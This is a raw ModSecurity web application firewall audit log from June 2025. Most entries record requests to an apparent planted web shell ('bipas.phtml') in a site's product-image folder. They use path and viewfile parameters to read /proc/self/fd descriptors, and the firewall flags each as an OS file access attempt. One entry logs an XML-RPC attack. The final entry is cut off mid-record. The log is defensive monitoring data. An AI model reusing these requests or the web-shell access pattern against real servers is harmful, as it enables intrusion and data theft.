/admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F103 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7504dd66-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --7504dd66-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/103"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/103"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Jir-GHz_IIxWr6ZuG8wAAAAg"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043018946444 4426 (- - -) Stopwatch2: 1750043018946444 4426; combined=2374, p1=349, p2=1888, p3=39, p4=37, p5=61, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7504dd66-Z-- --60190944-A-- [16/Jun/2025:08:33:39.224200 +0530] aE-Ji0N_xpBAtP8SIP1DKgAAAAo 216.73.216.83 36162 127.0.0.1 7081 --60190944-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F181 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --60190944-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --60190944-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/181"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/181"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Ji0N_xpBAtP8SIP1DKgAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043019219343 4930 (- - -) Stopwatch2: 1750043019219343 4930; combined=2649, p1=426, p2=2059, p3=45, p4=42, p5=76, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60190944-Z-- --f275fd25-A-- [16/Jun/2025:08:33:40.407851 +0530] aE-JjPrb_uQIHEwgEhziewAAAAA 216.73.216.83 46672 127.0.0.1 7081 --f275fd25-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F148 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --f275fd25-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --f275fd25-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/148"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/148"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JjPrb_uQIHEwgEhziewAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043020403487 4419 (- - -) Stopwatch2: 1750043020403487 4419; combined=2354, p1=439, p2=1778, p3=37, p4=37, p5=63, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f275fd25-Z-- --6f2c0638-A-- [16/Jun/2025:08:33:41.047112 +0530] aE-JjCSg0_FUeePR9Z0F8gAAAAE 128.199.112.101 46634 127.0.0.1 7081 --6f2c0638-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6f2c0638-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6f2c0638-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-JjCSg0_FUeePR9Z0F8gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750043020091328 955851 (- - -) Stopwatch2: 1750043020091328 955851; combined=2428, p1=418, p2=1600, p3=40, p4=59, p5=195, sr=124, sw=116, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6f2c0638-Z-- --dd7a136f-A-- [16/Jun/2025:08:34:38.106598 +0530] aE-JxuOzMRjUd1ppiI2z5QAAAAQ 216.73.216.83 44766 127.0.0.1 7081 --dd7a136f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F172 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --dd7a136f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --dd7a136f-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/172"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/172"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JxuOzMRjUd1ppiI2z5QAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043078101750 4925 (- - -) Stopwatch2: 1750043078101750 4925; combined=2516, p1=449, p2=1906, p3=47, p4=42, p5=72, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd7a136f-Z-- --56db9e07-A-- [16/Jun/2025:08:34:38.803070 +0530] aE-Jxvrb_uQIHEwgEhzimQAAAAA 216.73.216.83 44914 127.0.0.1 7081 --56db9e07-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F62 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --56db9e07-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --56db9e07-H-- Message: Warning. Matched phrase "proc/self/fd/6" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/6 found within ARGS:viewfile: /proc/self/fd/62"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/6" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/6 found within ARGS:viewfile: /proc/self/fd/62"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Jxvrb_uQIHEwgEhzimQAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043078799045 4079 (- - -) Stopwatch2: 1750043078799045 4079; combined=2129, p1=347, p2=1660, p3=35, p4=33, p5=54, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --56db9e07-Z-- --55813971-A-- [16/Jun/2025:08:34:38.985944 +0530] aE-JxkN_xpBAtP8SIP1DUgAAAAo 216.73.216.83 44942 127.0.0.1 7081 --55813971-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F107 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --55813971-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --55813971-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/107"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/107"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JxkN_xpBAtP8SIP1DUgAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043078982097 3902 (- - -) Stopwatch2: 1750043078982097 3902; combined=2103, p1=315, p2=1659, p3=36, p4=34, p5=59, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55813971-Z-- --bdcc4b6c-A-- [16/Jun/2025:08:34:39.258124 +0530] aE-JxwS4XDlCv3KXioQRuQAAAAY 216.73.216.83 44962 127.0.0.1 7081 --bdcc4b6c-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F204 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --bdcc4b6c-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --bdcc4b6c-H-- Message: Warning. Matched phrase "proc/self/fd/2" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/2 found within ARGS:viewfile: /proc/self/fd/204"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/2" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/2 found within ARGS:viewfile: /proc/self/fd/204"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JxwS4XDlCv3KXioQRuQAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043079254110 4068 (- - -) Stopwatch2: 1750043079254110 4068; combined=2171, p1=339, p2=1703, p3=36, p4=33, p5=59, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdcc4b6c-Z-- --9a80622f-A-- [16/Jun/2025:08:34:40.077101 +0530] aE-JyCSg0_FUeePR9Z0GEAAAAAE 216.73.216.83 34732 127.0.0.1 7081 --9a80622f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F146 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --9a80622f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --9a80622f-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/146"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/146"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JyCSg0_FUeePR9Z0GEAAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043080072721 4434 (- - -) Stopwatch2: 1750043080072721 4434; combined=2341, p1=353, p2=1839, p3=50, p4=39, p5=60, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a80622f-Z-- --7a2f6955-A-- [16/Jun/2025:08:34:40.168245 +0530] aE-JyDMylmRimnwJkaBoTwAAAAk 216.73.216.83 34750 127.0.0.1 7081 --7a2f6955-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F2 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7a2f6955-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2952 Connection: close Content-Type: text/html; charset=UTF-8 --7a2f6955-H-- Message: Warning. Matched phrase "proc/self/fd/2" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/2 found within ARGS:viewfile: /proc/self/fd/2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/2" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/2 found within ARGS:viewfile: /proc/self/fd/2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JyDMylmRimnwJkaBoTwAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043080163964 4336 (- - -) Stopwatch2: 1750043080163964 4336; combined=2324, p1=362, p2=1832, p3=37, p4=34, p5=59, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a2f6955-Z-- --5ce0ce2d-A-- [16/Jun/2025:08:34:41.169126 +0530] aE-JyW6ZKHkY_8UM7_tDLAAAAAU 216.73.216.83 34854 127.0.0.1 7081 --5ce0ce2d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F70 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --5ce0ce2d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --5ce0ce2d-H-- Message: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/70"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/7" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/7 found within ARGS:viewfile: /proc/self/fd/70"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JyW6ZKHkY_8UM7_tDLAAAAAU"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043081164860 4320 (- - -) Stopwatch2: 1750043081164860 4320; combined=2183, p1=324, p2=1722, p3=44, p4=39, p5=54, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ce0ce2d-Z-- --00551658-A-- [16/Jun/2025:08:34:41.533179 +0530] aE-JySSg0_FUeePR9Z0GEwAAAAE 216.73.216.83 34980 127.0.0.1 7081 --00551658-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F92 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --00551658-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --00551658-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/92"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/92"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JySSg0_FUeePR9Z0GEwAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043081528956 4278 (- - -) Stopwatch2: 1750043081528956 4278; combined=2291, p1=368, p2=1788, p3=40, p4=36, p5=59, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00551658-Z-- --df5ccc5f-A-- [16/Jun/2025:08:34:41.624124 +0530] aE-JyQS4XDlCv3KXioQRvAAAAAY 216.73.216.83 34996 127.0.0.1 7081 --df5ccc5f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F156 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --df5ccc5f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --df5ccc5f-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/156"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/156"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JyQS4XDlCv3KXioQRvAAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750043081619760 4417 (- - -) Stopwatch2: 1750043081619760 4417; combined=2380, p1=446, p2=1795, p3=37, p4=32, p5=70, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df5ccc5f-Z-- --7f426f72-A-- [16/Jun/2025:08:34:41.714896 +0530] aE-JyVLvCKKZvNl9c__WlQAAAAc 216.73.216.83 35012 127.0.0.1 7081 --7f426f72-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F166 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; 